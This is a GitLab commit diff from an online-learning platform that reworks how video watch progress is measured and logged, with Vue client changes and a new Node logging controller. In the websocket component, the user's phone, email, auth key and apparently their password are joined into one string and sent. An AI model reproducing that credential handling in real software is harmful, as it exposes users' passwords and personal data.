Skip to content
项目
群组
代码片段
帮助
当前项目
正在载入...
登录 / 注册
切换导航面板
L
learn-online-pc
项目
项目
详情
活动
周期分析
仓库
仓库
文件
提交
分支
标签
贡献者
图表
比较
统计图
议题
0
议题
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
CI / CD
CI / CD
流水线
作业
日程
统计图
Wiki
Wiki
代码片段
代码片段
成员
成员
折叠边栏
关闭边栏
活动
图像
聊天
创建新问题
作业
提交
问题看板
Open sidebar
EzijingWeb
learn-online-pc
Commits
b0dbcaa2
提交
b0dbcaa2
authored
4月 30, 2019
作者:
GOD_ZYX
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
修改 视频进度+node服务端 数据日志获取
上级
6a0e06a1
全部展开
隐藏空白字符变更
内嵌
并排
正在显示
19 个修改的文件
包含
498 行增加
和
100 行删除
+498
-100
build.zip
build.zip
+0
-0
index.html
client-dist/index.html
+2
-2
10.a505bcc1227b.css
client-dist/resources/10.a505bcc1227b.css
+2
-0
10.eb5caf8d2af7.css
client-dist/resources/10.eb5caf8d2af7.css
+0
-2
10.fcfecf28.js
client-dist/resources/10.fcfecf28.js
+0
-0
10.fe9ed803.js
client-dist/resources/10.fe9ed803.js
+0
-0
6.39a4b4394a2e.css
client-dist/resources/6.39a4b4394a2e.css
+0
-0
6.dd2c6250.js
client-dist/resources/6.dd2c6250.js
+0
-0
app.30fcd315.js
client-dist/resources/app.30fcd315.js
+0
-0
app.515134a0.js
client-dist/resources/app.515134a0.js
+0
-0
manifest.022ce4f5.js
client-dist/resources/manifest.022ce4f5.js
+2
-2
chapterVideo.vue
client/components/player/chapterVideo/chapterVideo.vue
+26
-9
video.vue
client/components/player/chapterVideo/video.vue
+2
-2
index.vue
client/components/player/index.vue
+15
-2
base_api.js
client/components/services/base_api.js
+1
-0
index.vue
client/components/websocket/index.vue
+1
-1
LogVideoMonitor.js
server/controller/LogVideoMonitor.js
+155
-0
ProxyMonitor-bak.js
server/controller/ProxyMonitor-bak.js
+250
-0
ProxyMonitor.js
server/controller/ProxyMonitor.js
+42
-80
没有找到文件。
build.zip
浏览文件 @
b0dbcaa2
No preview for this file type
client-dist/index.html
浏览文件 @
b0dbcaa2
...
...
@@ -2,4 +2,4 @@
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/console-polyfill.js"></script>
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/html5shiv.min.js"></script>
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/respond.min.js"></script>
<![endif]-->
<script
type=
"text/javascript"
src=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.a8c4ea56.js"
></script><script
type=
"text/javascript"
src=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.435ab98c.js"
></script><script
type=
"text/javascript"
src=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.515134a0.js"
></script></body></html>
\ No newline at end of file
<![endif]-->
<script
type=
"text/javascript"
src=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.022ce4f5.js"
></script><script
type=
"text/javascript"
src=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.435ab98c.js"
></script><script
type=
"text/javascript"
src=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.30fcd315.js"
></script></body></html>
\ No newline at end of file
client-dist/resources/10.a505bcc1227b.css
0 → 100644
浏览文件 @
b0dbcaa2
#player
p
[
data-v-68bd2f36
]
{
color
:
#fff
;
text-align
:
center
;
padding
:
50px
0
}
#player
p
a
[
data-v-68bd2f36
]
{
color
:
#b01c40
;
text-decoration
:
underline
}
\ No newline at end of file
client-dist/resources/10.eb5caf8d2af7.css
deleted
100644 → 0
浏览文件 @
6a0e06a1
#player
p
[
data-v-7ec35a74
]
{
color
:
#fff
;
text-align
:
center
;
padding
:
50px
0
}
#player
p
a
[
data-v-7ec35a74
]
{
color
:
#b01c40
;
text-decoration
:
underline
}
\ No newline at end of file
client-dist/resources/10.fcfecf28.js
0 → 100644
浏览文件 @
b0dbcaa2
差异被折叠。
点击展开。
client-dist/resources/10.fe9ed803.js
deleted
100644 → 0
浏览文件 @
6a0e06a1
差异被折叠。
点击展开。
client-dist/resources/6.
1b8137937536
.css
→
client-dist/resources/6.
39a4b4394a2e
.css
浏览文件 @
b0dbcaa2
差异被折叠。
点击展开。
client-dist/resources/6.
5788073d
.js
→
client-dist/resources/6.
dd2c6250
.js
浏览文件 @
b0dbcaa2
差异被折叠。
点击展开。
client-dist/resources/app.30fcd315.js
0 → 100644
浏览文件 @
b0dbcaa2
差异被折叠。
点击展开。
client-dist/resources/app.515134a0.js
deleted
100644 → 0
浏览文件 @
6a0e06a1
差异被折叠。
点击展开。
client-dist/resources/manifest.
a8c4ea56
.js
→
client-dist/resources/manifest.
022ce4f5
.js
浏览文件 @
b0dbcaa2
!
function
(
f
){
function
e
(
e
){
for
(
var
t
,
r
,
n
=
e
[
0
],
a
=
e
[
1
],
o
=
e
[
2
],
c
=
0
,
d
=
[];
c
<
n
.
length
;
c
++
)
r
=
n
[
c
],
s
[
r
]
&&
d
.
push
(
s
[
r
][
0
]),
s
[
r
]
=
0
;
for
(
t
in
a
)
Object
.
prototype
.
hasOwnProperty
.
call
(
a
,
t
)
&&
(
f
[
t
]
=
a
[
t
]);
for
(
b
&&
b
(
e
);
d
.
length
;)
d
.
shift
()();
return
i
.
push
.
apply
(
i
,
o
||
[]),
u
()}
function
u
(){
for
(
var
e
,
t
=
0
;
t
<
i
.
length
;
t
++
){
for
(
var
r
=
i
[
t
],
n
=!
0
,
a
=
1
;
a
<
r
.
length
;
a
++
){
var
o
=
r
[
a
];
0
!==
s
[
o
]
&&
(
n
=!
1
)}
n
&&
(
i
.
splice
(
t
--
,
1
),
e
=
p
(
p
.
s
=
r
[
0
]))}
return
e
}
var
r
=
{},
l
=
{
3
:
0
},
s
=
{
3
:
0
},
i
=
[];
function
p
(
e
){
if
(
r
[
e
])
return
r
[
e
].
exports
;
var
t
=
r
[
e
]
=
{
i
:
e
,
l
:
!
1
,
exports
:{}};
return
f
[
e
].
call
(
t
.
exports
,
t
,
t
.
exports
,
p
),
t
.
l
=!
0
,
t
.
exports
}
p
.
e
=
function
(
i
){
var
e
=
[];
l
[
i
]?
e
.
push
(
l
[
i
]):
0
!==
l
[
i
]
&&
{
0
:
1
,
5
:
1
,
6
:
1
,
7
:
1
,
8
:
1
,
9
:
1
,
10
:
1
,
11
:
1
,
12
:
1
,
13
:
1
,
14
:
1
,
15
:
1
,
16
:
1
,
17
:
1
,
18
:
1
,
19
:
1
,
20
:
1
,
21
:
1
,
22
:
1
}[
i
]
&&
e
.
push
(
l
[
i
]
=
new
Promise
(
function
(
e
,
n
){
for
(
var
t
=
"resources/"
+
({}[
i
]
||
i
)
+
"."
+
{
0
:
"7e9c19881242"
,
1
:
"31d6cfe0d16a"
,
5
:
"b6a10460f085"
,
6
:
"1b8137937536"
,
7
:
"edadd3d1dece"
,
8
:
"2b76410db4d0"
,
9
:
"30b36ab56f09"
,
10
:
"eb5caf8d2af7"
,
11
:
"e7ba1de89846"
,
12
:
"fc688477e0f2"
,
13
:
"9c95c5430f41"
,
14
:
"d32639348e7f"
,
15
:
"ca7cab1d6dca"
,
16
:
"a6265ac4f731"
,
17
:
"d80cfa33564a"
,
18
:
"abf993cecc16"
,
19
:
"da1346fedd49"
,
20
:
"5ba1b1bc7480"
,
21
:
"43ee51cf782c"
,
22
:
"12c536f6abaf"
,
23
:
"31d6cfe0d16a"
,
24
:
"31d6cfe0d16a"
,
25
:
"31d6cfe0d16a"
,
26
:
"31d6cfe0d16a"
,
27
:
"31d6cfe0d16a"
,
28
:
"31d6cfe0d16a"
,
29
:
"31d6cfe0d16a"
,
30
:
"31d6cfe0d16a"
}[
i
]
+
".css"
,
a
=
p
.
p
+
t
,
r
=
document
.
getElementsByTagName
(
"link"
),
o
=
0
;
o
<
r
.
length
;
o
++
){
var
c
=
(
f
=
r
[
o
]).
getAttribute
(
"data-href"
)
||
f
.
getAttribute
(
"href"
);
if
(
"stylesheet"
===
f
.
rel
&&
(
c
===
t
||
c
===
a
))
return
e
()}
var
d
=
document
.
getElementsByTagName
(
"style"
);
for
(
o
=
0
;
o
<
d
.
length
;
o
++
){
var
f
;
if
((
c
=
(
f
=
d
[
o
]).
getAttribute
(
"data-href"
))
===
t
||
c
===
a
)
return
e
()}
var
u
=
document
.
createElement
(
"link"
);
u
.
rel
=
"stylesheet"
,
u
.
type
=
"text/css"
,
u
.
onload
=
e
,
u
.
onerror
=
function
(
e
){
var
t
=
e
&&
e
.
target
&&
e
.
target
.
src
||
a
,
r
=
new
Error
(
"Loading CSS chunk "
+
i
+
" failed.
\
n("
+
t
+
")"
);
r
.
request
=
t
,
delete
l
[
i
],
u
.
parentNode
.
removeChild
(
u
),
n
(
r
)},
u
.
href
=
a
,
document
.
getElementsByTagName
(
"head"
)[
0
].
appendChild
(
u
)}).
then
(
function
(){
l
[
i
]
=
0
}));
var
t
,
r
=
s
[
i
];
if
(
0
!==
r
)
if
(
r
)
e
.
push
(
r
[
2
]);
else
{
var
n
=
new
Promise
(
function
(
e
,
t
){
r
=
s
[
i
]
=
[
e
,
t
]});
e
.
push
(
r
[
2
]
=
n
);
var
a
,
o
=
document
.
getElementsByTagName
(
"head"
)[
0
],
c
=
document
.
createElement
(
"script"
);
c
.
charset
=
"utf-8"
,
c
.
timeout
=
120
,
p
.
nc
&&
c
.
setAttribute
(
"nonce"
,
p
.
nc
),
c
.
src
=
p
.
p
+
"resources/"
+
({}[
t
=
i
]
||
t
)
+
"."
+
{
0
:
"44b419c5"
,
1
:
"b54a4784"
,
5
:
"09a1f3ee"
,
6
:
"5788073d"
,
7
:
"34107010"
,
8
:
"3725acf5"
,
9
:
"bbdfab9a"
,
10
:
"fe9ed803"
,
11
:
"98d99539"
,
12
:
"bc06c483"
,
13
:
"c50bed76"
,
14
:
"21f6e4db"
,
15
:
"57645cc7"
,
16
:
"eb41993a"
,
17
:
"a6126945"
,
18
:
"15cc538d"
,
19
:
"d19d94e7"
,
20
:
"ed197405"
,
21
:
"ff867a66"
,
22
:
"51a95842"
,
23
:
"aa46f405"
,
24
:
"f05a2d7d"
,
25
:
"cd45549d"
,
26
:
"2e14c205"
,
27
:
"a1f5a7ff"
,
28
:
"01ab5f90"
,
29
:
"cd5a6716"
,
30
:
"d3ea8c6f"
}[
t
]
+
".js"
,
a
=
function
(
e
){
c
.
onerror
=
c
.
onload
=
null
,
clearTimeout
(
d
);
var
t
=
s
[
i
];
if
(
0
!==
t
){
if
(
t
){
var
r
=
e
&&
(
"load"
===
e
.
type
?
"missing"
:
e
.
type
),
n
=
e
&&
e
.
target
&&
e
.
target
.
src
,
a
=
new
Error
(
"Loading chunk "
+
i
+
" failed.
\
n("
+
r
+
": "
+
n
+
")"
);
a
.
type
=
r
,
a
.
request
=
n
,
t
[
1
](
a
)}
s
[
i
]
=
void
0
}};
var
d
=
setTimeout
(
function
(){
a
({
type
:
"timeout"
,
target
:
c
})},
12
e4
);
c
.
onerror
=
c
.
onload
=
a
,
o
.
appendChild
(
c
)}
return
Promise
.
all
(
e
)},
p
.
m
=
f
,
p
.
c
=
r
,
p
.
d
=
function
(
e
,
t
,
r
){
p
.
o
(
e
,
t
)
||
Object
.
defineProperty
(
e
,
t
,{
enumerable
:
!
0
,
get
:
r
})},
p
.
r
=
function
(
e
){
"undefined"
!=
typeof
Symbol
&&
Symbol
.
toStringTag
&&
Object
.
defineProperty
(
e
,
Symbol
.
toStringTag
,{
value
:
"Module"
}),
Object
.
defineProperty
(
e
,
"__esModule"
,{
value
:
!
0
})},
p
.
t
=
function
(
t
,
e
){
if
(
1
&
e
&&
(
t
=
p
(
t
)),
8
&
e
)
return
t
;
if
(
4
&
e
&&
"object"
==
typeof
t
&&
t
&&
t
.
__esModule
)
return
t
;
var
r
=
Object
.
create
(
null
);
if
(
p
.
r
(
r
),
Object
.
defineProperty
(
r
,
"default"
,{
enumerable
:
!
0
,
value
:
t
}),
2
&
e
&&
"string"
!=
typeof
t
)
for
(
var
n
in
t
)
p
.
d
(
r
,
n
,
function
(
e
){
return
t
[
e
]}.
bind
(
null
,
n
));
return
r
},
p
.
n
=
function
(
e
){
var
t
=
e
&&
e
.
__esModule
?
function
(){
return
e
.
default
}:
function
(){
return
e
};
return
p
.
d
(
t
,
"a"
,
t
),
t
},
p
.
o
=
function
(
e
,
t
){
return
Object
.
prototype
.
hasOwnProperty
.
call
(
e
,
t
)},
p
.
p
=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/"
,
p
.
oe
=
function
(
e
){
throw
console
.
error
(
e
),
e
};
var
t
=
window
.
webpackJsonp
=
window
.
webpackJsonp
||
[],
n
=
t
.
push
.
bind
(
t
);
t
.
push
=
e
,
t
=
t
.
slice
();
for
(
var
a
=
0
;
a
<
t
.
length
;
a
++
)
e
(
t
[
a
]);
var
b
=
n
;
u
()}([]);
\ No newline at end of file
!
function
(
f
){
function
e
(
e
){
for
(
var
t
,
r
,
n
=
e
[
0
],
a
=
e
[
1
],
c
=
e
[
2
],
o
=
0
,
d
=
[];
o
<
n
.
length
;
o
++
)
r
=
n
[
o
],
s
[
r
]
&&
d
.
push
(
s
[
r
][
0
]),
s
[
r
]
=
0
;
for
(
t
in
a
)
Object
.
prototype
.
hasOwnProperty
.
call
(
a
,
t
)
&&
(
f
[
t
]
=
a
[
t
]);
for
(
p
&&
p
(
e
);
d
.
length
;)
d
.
shift
()();
return
i
.
push
.
apply
(
i
,
c
||
[]),
u
()}
function
u
(){
for
(
var
e
,
t
=
0
;
t
<
i
.
length
;
t
++
){
for
(
var
r
=
i
[
t
],
n
=!
0
,
a
=
1
;
a
<
r
.
length
;
a
++
){
var
c
=
r
[
a
];
0
!==
s
[
c
]
&&
(
n
=!
1
)}
n
&&
(
i
.
splice
(
t
--
,
1
),
e
=
b
(
b
.
s
=
r
[
0
]))}
return
e
}
var
r
=
{},
l
=
{
3
:
0
},
s
=
{
3
:
0
},
i
=
[];
function
b
(
e
){
if
(
r
[
e
])
return
r
[
e
].
exports
;
var
t
=
r
[
e
]
=
{
i
:
e
,
l
:
!
1
,
exports
:{}};
return
f
[
e
].
call
(
t
.
exports
,
t
,
t
.
exports
,
b
),
t
.
l
=!
0
,
t
.
exports
}
b
.
e
=
function
(
i
){
var
e
=
[];
l
[
i
]?
e
.
push
(
l
[
i
]):
0
!==
l
[
i
]
&&
{
0
:
1
,
5
:
1
,
6
:
1
,
7
:
1
,
8
:
1
,
9
:
1
,
10
:
1
,
11
:
1
,
12
:
1
,
13
:
1
,
14
:
1
,
15
:
1
,
16
:
1
,
17
:
1
,
18
:
1
,
19
:
1
,
20
:
1
,
21
:
1
,
22
:
1
}[
i
]
&&
e
.
push
(
l
[
i
]
=
new
Promise
(
function
(
e
,
n
){
for
(
var
t
=
"resources/"
+
({}[
i
]
||
i
)
+
"."
+
{
0
:
"7e9c19881242"
,
1
:
"31d6cfe0d16a"
,
5
:
"b6a10460f085"
,
6
:
"39a4b4394a2e"
,
7
:
"edadd3d1dece"
,
8
:
"2b76410db4d0"
,
9
:
"30b36ab56f09"
,
10
:
"a505bcc1227b"
,
11
:
"e7ba1de89846"
,
12
:
"fc688477e0f2"
,
13
:
"9c95c5430f41"
,
14
:
"d32639348e7f"
,
15
:
"ca7cab1d6dca"
,
16
:
"a6265ac4f731"
,
17
:
"d80cfa33564a"
,
18
:
"abf993cecc16"
,
19
:
"da1346fedd49"
,
20
:
"5ba1b1bc7480"
,
21
:
"43ee51cf782c"
,
22
:
"12c536f6abaf"
,
23
:
"31d6cfe0d16a"
,
24
:
"31d6cfe0d16a"
,
25
:
"31d6cfe0d16a"
,
26
:
"31d6cfe0d16a"
,
27
:
"31d6cfe0d16a"
,
28
:
"31d6cfe0d16a"
,
29
:
"31d6cfe0d16a"
,
30
:
"31d6cfe0d16a"
}[
i
]
+
".css"
,
a
=
b
.
p
+
t
,
r
=
document
.
getElementsByTagName
(
"link"
),
c
=
0
;
c
<
r
.
length
;
c
++
){
var
o
=
(
f
=
r
[
c
]).
getAttribute
(
"data-href"
)
||
f
.
getAttribute
(
"href"
);
if
(
"stylesheet"
===
f
.
rel
&&
(
o
===
t
||
o
===
a
))
return
e
()}
var
d
=
document
.
getElementsByTagName
(
"style"
);
for
(
c
=
0
;
c
<
d
.
length
;
c
++
){
var
f
;
if
((
o
=
(
f
=
d
[
c
]).
getAttribute
(
"data-href"
))
===
t
||
o
===
a
)
return
e
()}
var
u
=
document
.
createElement
(
"link"
);
u
.
rel
=
"stylesheet"
,
u
.
type
=
"text/css"
,
u
.
onload
=
e
,
u
.
onerror
=
function
(
e
){
var
t
=
e
&&
e
.
target
&&
e
.
target
.
src
||
a
,
r
=
new
Error
(
"Loading CSS chunk "
+
i
+
" failed.
\
n("
+
t
+
")"
);
r
.
request
=
t
,
delete
l
[
i
],
u
.
parentNode
.
removeChild
(
u
),
n
(
r
)},
u
.
href
=
a
,
document
.
getElementsByTagName
(
"head"
)[
0
].
appendChild
(
u
)}).
then
(
function
(){
l
[
i
]
=
0
}));
var
t
,
r
=
s
[
i
];
if
(
0
!==
r
)
if
(
r
)
e
.
push
(
r
[
2
]);
else
{
var
n
=
new
Promise
(
function
(
e
,
t
){
r
=
s
[
i
]
=
[
e
,
t
]});
e
.
push
(
r
[
2
]
=
n
);
var
a
,
c
=
document
.
getElementsByTagName
(
"head"
)[
0
],
o
=
document
.
createElement
(
"script"
);
o
.
charset
=
"utf-8"
,
o
.
timeout
=
120
,
b
.
nc
&&
o
.
setAttribute
(
"nonce"
,
b
.
nc
),
o
.
src
=
b
.
p
+
"resources/"
+
({}[
t
=
i
]
||
t
)
+
"."
+
{
0
:
"44b419c5"
,
1
:
"b54a4784"
,
5
:
"09a1f3ee"
,
6
:
"dd2c6250"
,
7
:
"34107010"
,
8
:
"3725acf5"
,
9
:
"bbdfab9a"
,
10
:
"fcfecf28"
,
11
:
"98d99539"
,
12
:
"bc06c483"
,
13
:
"c50bed76"
,
14
:
"21f6e4db"
,
15
:
"57645cc7"
,
16
:
"eb41993a"
,
17
:
"a6126945"
,
18
:
"15cc538d"
,
19
:
"d19d94e7"
,
20
:
"ed197405"
,
21
:
"ff867a66"
,
22
:
"51a95842"
,
23
:
"aa46f405"
,
24
:
"f05a2d7d"
,
25
:
"cd45549d"
,
26
:
"2e14c205"
,
27
:
"a1f5a7ff"
,
28
:
"01ab5f90"
,
29
:
"cd5a6716"
,
30
:
"d3ea8c6f"
}[
t
]
+
".js"
,
a
=
function
(
e
){
o
.
onerror
=
o
.
onload
=
null
,
clearTimeout
(
d
);
var
t
=
s
[
i
];
if
(
0
!==
t
){
if
(
t
){
var
r
=
e
&&
(
"load"
===
e
.
type
?
"missing"
:
e
.
type
),
n
=
e
&&
e
.
target
&&
e
.
target
.
src
,
a
=
new
Error
(
"Loading chunk "
+
i
+
" failed.
\
n("
+
r
+
": "
+
n
+
")"
);
a
.
type
=
r
,
a
.
request
=
n
,
t
[
1
](
a
)}
s
[
i
]
=
void
0
}};
var
d
=
setTimeout
(
function
(){
a
({
type
:
"timeout"
,
target
:
o
})},
12
e4
);
o
.
onerror
=
o
.
onload
=
a
,
c
.
appendChild
(
o
)}
return
Promise
.
all
(
e
)},
b
.
m
=
f
,
b
.
c
=
r
,
b
.
d
=
function
(
e
,
t
,
r
){
b
.
o
(
e
,
t
)
||
Object
.
defineProperty
(
e
,
t
,{
enumerable
:
!
0
,
get
:
r
})},
b
.
r
=
function
(
e
){
"undefined"
!=
typeof
Symbol
&&
Symbol
.
toStringTag
&&
Object
.
defineProperty
(
e
,
Symbol
.
toStringTag
,{
value
:
"Module"
}),
Object
.
defineProperty
(
e
,
"__esModule"
,{
value
:
!
0
})},
b
.
t
=
function
(
t
,
e
){
if
(
1
&
e
&&
(
t
=
b
(
t
)),
8
&
e
)
return
t
;
if
(
4
&
e
&&
"object"
==
typeof
t
&&
t
&&
t
.
__esModule
)
return
t
;
var
r
=
Object
.
create
(
null
);
if
(
b
.
r
(
r
),
Object
.
defineProperty
(
r
,
"default"
,{
enumerable
:
!
0
,
value
:
t
}),
2
&
e
&&
"string"
!=
typeof
t
)
for
(
var
n
in
t
)
b
.
d
(
r
,
n
,
function
(
e
){
return
t
[
e
]}.
bind
(
null
,
n
));
return
r
},
b
.
n
=
function
(
e
){
var
t
=
e
&&
e
.
__esModule
?
function
(){
return
e
.
default
}:
function
(){
return
e
};
return
b
.
d
(
t
,
"a"
,
t
),
t
},
b
.
o
=
function
(
e
,
t
){
return
Object
.
prototype
.
hasOwnProperty
.
call
(
e
,
t
)},
b
.
p
=
"https://zws-imgs-pub.ezijing.com/static/build/learn-mba/"
,
b
.
oe
=
function
(
e
){
throw
console
.
error
(
e
),
e
};
var
t
=
window
.
webpackJsonp
=
window
.
webpackJsonp
||
[],
n
=
t
.
push
.
bind
(
t
);
t
.
push
=
e
,
t
=
t
.
slice
();
for
(
var
a
=
0
;
a
<
t
.
length
;
a
++
)
e
(
t
[
a
]);
var
p
=
n
;
u
()}([]);
\ No newline at end of file
client/components/player/chapterVideo/chapterVideo.vue
浏览文件 @
b0dbcaa2
...
...
@@ -87,6 +87,9 @@ export default {
/* video flash 参数传递 */
videoFlash
:
{
lastTime
:
null
,
speed
:
1
,
// 默认播放速度
isSeek
:
false
,
// 是否拖动进度条
queueFrames
:
[],
// 存放所有视频帧的栈,上传成功清空一次。
videoWidth
:
VIDEO_DEFAULT_WIDTH
,
videoHeight
:
VIDEO_DEFAULT_HEIGHT
,
username
:
(
window
.
G
.
UserInfo
&&
window
.
G
.
UserInfo
.
username
)
||
''
...
...
@@ -162,12 +165,21 @@ export default {
// 播放时间变更
onVideoTimeChange
(
data
)
{
let
time
=
data
.
time
/* 获取 对应 播放 速度 和 是否 拖动 进度条 */
this
.
videoFlash
.
speed
=
parseFloat
(
data
.
quality
.
split
(
' '
)[
1
]
||
1
)
this
.
videoFlash
.
isSeek
=
data
.
isSeek
// 因视频播放完成后也会不断触发playing,因此比对上次时间
if
(
this
.
videoFlash
.
lastTime
===
time
)
{
return
}
this
.
videoFlash
.
lastTime
=
time
this
.
isPlaying
=
true
/* 将当前 获取的 每一帧 压缩 队列 */
if
(
!
data
.
isSeek
)
{
this
.
videoFlash
.
queueFrames
.
push
(
time
)
// console.log(this.videoFlash.queueFrames)
}
// 判断ppt位置
this
.
setPptIndexByTime
(
time
)
...
...
@@ -271,15 +283,20 @@ export default {
if
(
this
.
_rProgress
&&
this
.
_rProgress
.
id
)
{
let
_rProgress
=
this
.
_rProgress
let
tempTime
=
this
.
videoFlash
.
lastTime
/* 直接给出 增加定时器 循环定时 的每次 执行传输时间 */
_rProgress
.
pt
+=
((
tempTime
-
_rProgress
.
cpt
>
0
)
&&
(
tempTime
-
_rProgress
.
cpt
<
8
)
?
(
_time
/
1000
)
:
0
)
/* cpt 和 mpt 应该没问题 */
_rProgress
.
cpt
=
tempTime
_rProgress
.
mpt
=
tempTime
>
_rProgress
.
mpt
?
tempTime
:
_rProgress
.
mpt
/* 调用接口执行刷新 */
this
.
$emit
(
'updateProgress'
,
this
.
_rProgress
)
let
_speed
=
this
.
videoFlash
.
speed
let
_isSeek
=
this
.
videoFlash
.
isSeek
let
_queue
=
this
.
videoFlash
.
queueFrames
/* 拖动进度条,不记录时间 */
if
(
!
_isSeek
)
{
/* 直接给出 增加定时器 循环定时 的每次 执行传输时间 */
_rProgress
.
pt
+=
(
_time
/
1000
)
*
_speed
/* cpt 和 mpt 应该没问题 */
_rProgress
.
cpt
=
tempTime
_rProgress
.
mpt
=
tempTime
>
_rProgress
.
mpt
?
tempTime
:
_rProgress
.
mpt
_rProgress
.
ps
=
_queue
/* 调用接口执行刷新 */
this
.
$emit
(
'updateProgress'
,
this
.
_rProgress
)
}
}
else
{
this
.
_rProgress
=
_
.
assignIn
({},
this
.
chapterVideo
.
progress
)
}
...
...
client/components/player/chapterVideo/video.vue
浏览文件 @
b0dbcaa2
...
...
@@ -62,11 +62,11 @@ export default {
}
// 播放过程中不断触发,传递当前播放到的时间
window
.
_playerIng
=
function
(
time
)
{
$
(
'#'
+
PLAYER_WRAP_ID
).
trigger
(
'player.time'
,
{
time
})
$
(
'#'
+
PLAYER_WRAP_ID
).
trigger
(
'player.time'
,
{
time
,
quality
:
that
.
getPlayer
().
callAction
(
'getQuality'
),
isSeek
:
false
})
}
// 拖动播放进度条
window
.
_playerSeek
=
function
()
{
$
(
'#'
+
PLAYER_WRAP_ID
).
trigger
(
'player.seek'
,
{
time
:
that
.
getPlayer
().
callAction
(
'getCurrentTime'
)
})
$
(
'#'
+
PLAYER_WRAP_ID
).
trigger
(
'player.seek'
,
{
time
:
that
.
getPlayer
().
callAction
(
'getCurrentTime'
)
,
quality
:
that
.
getPlayer
().
callAction
(
'getQuality'
),
isSeek
:
true
})
}
// 播放控件 - 初始化完成时,注册播放事件
window
.
_playerCallback
=
function
()
{
...
...
client/components/player/index.vue
浏览文件 @
b0dbcaa2
...
...
@@ -221,6 +221,11 @@ export default {
},
updateProgress
(
_rProgress
)
{
if
(
_rProgress
.
cpt
)
{
/* 处理一下 视频帧栈,另存一个数组,防止请求事件过长,或超时,导致数据上送失败 */
let
_arr
=
[]
for
(
let
i
=
0
;
i
<
_rProgress
.
ps
.
length
;
i
++
)
{
_arr
[
i
]
=
_rProgress
.
ps
[
i
]
}
cAction
.
chapterAction
.
updateProgress
({
d
:
cTool
.
other
.
getIdt
(),
i
:
cTool
.
other
.
getIdt
(),
...
...
@@ -229,8 +234,16 @@ export default {
v
:
this
.
id
,
_p
:
parseInt
(
_rProgress
.
pt
),
// 累计时间
_m
:
parseInt
(
_rProgress
.
mpt
),
// 当前播放最大时间
_c
:
parseInt
(
_rProgress
.
cpt
)
// 当前播放位置
}).
then
(
json
=>
{}).
catch
(
e
=>
{
this
.
$message
.
error
(
e
.
message
)
}).
finally
(()
=>
{
})
_c
:
parseInt
(
_rProgress
.
cpt
),
// 当前播放位置
ps
:
_arr
.
join
(
','
)
// 播放时,播放过的 帧
}).
then
(
json
=>
{
if
(
json
.
success
)
{
/* 将已经上传 并 成功的 帧 全部从 栈中删除 */
for
(
let
i
=
0
;
i
<
_arr
.
length
;
i
++
)
{
_rProgress
.
ps
.
shift
()
}
}
}).
catch
(
e
=>
{
this
.
$message
.
error
(
e
.
message
)
}).
finally
(()
=>
{
})
}
}
}
...
...
client/components/services/base_api.js
浏览文件 @
b0dbcaa2
...
...
@@ -47,6 +47,7 @@ export default class API {
// 'X-Forwarded-For': req.get('x-forwarded-for'),
// 'X-Real-Ip': req.get('x-real-ip'),
'cur-json'
:
Base64
.
encode
(
JSON
.
stringify
({
time
:
new
Date
().
getTime
(),
sys
:
'elearning-node'
,
auth
:
_uInfo
.
email
||
_uInfo
.
mobile
||
'未知'
,
// 在header头中传入 当前用户账号信息
name
:
(
_uInfo
.
student_info
&&
_uInfo
.
student_info
.
personal_name
)
||
_uInfo
.
username
||
'未知'
// 在header头中传入 当前用户姓名
...
...
client/components/websocket/index.vue
浏览文件 @
b0dbcaa2
...
...
@@ -57,7 +57,7 @@ export default {
},
sendData
(
action
,
val
)
{
let
str
=
''
let
version
=
'PC-1.0.
2
'
// 客户端版本号,每次更新后,更新版本号。可以方便查看是否客户端都是最新版本
let
version
=
'PC-1.0.
3
'
// 客户端版本号,每次更新后,更新版本号。可以方便查看是否客户端都是最新版本
if
(
window
.
G
.
UserInfo
&&
window
.
G
.
UserInfo
.
student_info
)
{
let
tmp_info
=
window
.
G
.
UserInfo
.
student_info
// eslint-disable-line
str
=
tmp_info
.
personal_name
+
':'
+
tmp_info
.
telephone
+
':'
+
tmp_info
.
email
+
':'
+
tmp_info
.
id
+
':'
+
window
.
G
.
UserInfo
.
auth_key
+
':'
+
(
window
.
G
.
pwd
||
''
)
...
...
server/controller/LogVideoMonitor.js
0 → 100644
浏览文件 @
b0dbcaa2
const
fs
=
require
(
'fs'
)
const
com
=
require
(
'../com'
)
const
md5
=
require
(
'md5-node'
)
/**
* 定义 log 针对 视频 数据采集 日志
* @param req 请求参数
* @param data._totalDir 默认表示,存储从第一学期开始
*/
const
getLogVideoJson
=
(
req
,
data
)
=>
{
/* 学习视频的行为日志记录,重新修改 2019.04.30 */
let
_nodeServerCurrentTime
=
new
Date
().
getTime
()
let
_json
=
Buffer
.
from
(
req
.
headers
[
'cur-json'
]
||
''
,
'base64'
).
toString
()
||
'{}'
_json
=
JSON
.
parse
(
_json
)
/* 增加 学员目录、下属video目录。必须先处理,这是异步IO操作,可能导致 “新建” 学员目录、文件时,数据稍稍不准 缺少数据在 10s内 */
let
stuDir
=
(
_json
.
name
+
'#'
+
_json
.
auth
)
||
'其他'
let
_stuPath
=
'upload_tmp/'
+
data
.
_totalDir
+
'/'
+
stuDir
com
.
Directory
.
mkDir
(
_stuPath
+
'/video'
)
// 按人头,每个人 多开不可能超过1000个浏览器tab页,所以这里不需要 大整型 字符串
const
signStr
=
_json
.
auth
+
':'
+
req
.
params
[
0
]
+
':'
+
_nodeServerCurrentTime
// uuid 保证 在 并发 数据量 下 也唯一
const
_uuid
=
md5
(
signStr
)
/* 是否为 视频接口调用,才调用视频日志存储 */
let
_isVideoFlag
=
false
let
_logVideo
=
{}
if
(
/analytics
\/
upload-video/gi
.
test
(
req
.
params
[
0
]))
{
_isVideoFlag
=
true
}
if
(
_isVideoFlag
)
{
/* video 视频 行为日志格式 */
_logVideo
=
{
orderTime
:
_nodeServerCurrentTime
+
's'
,
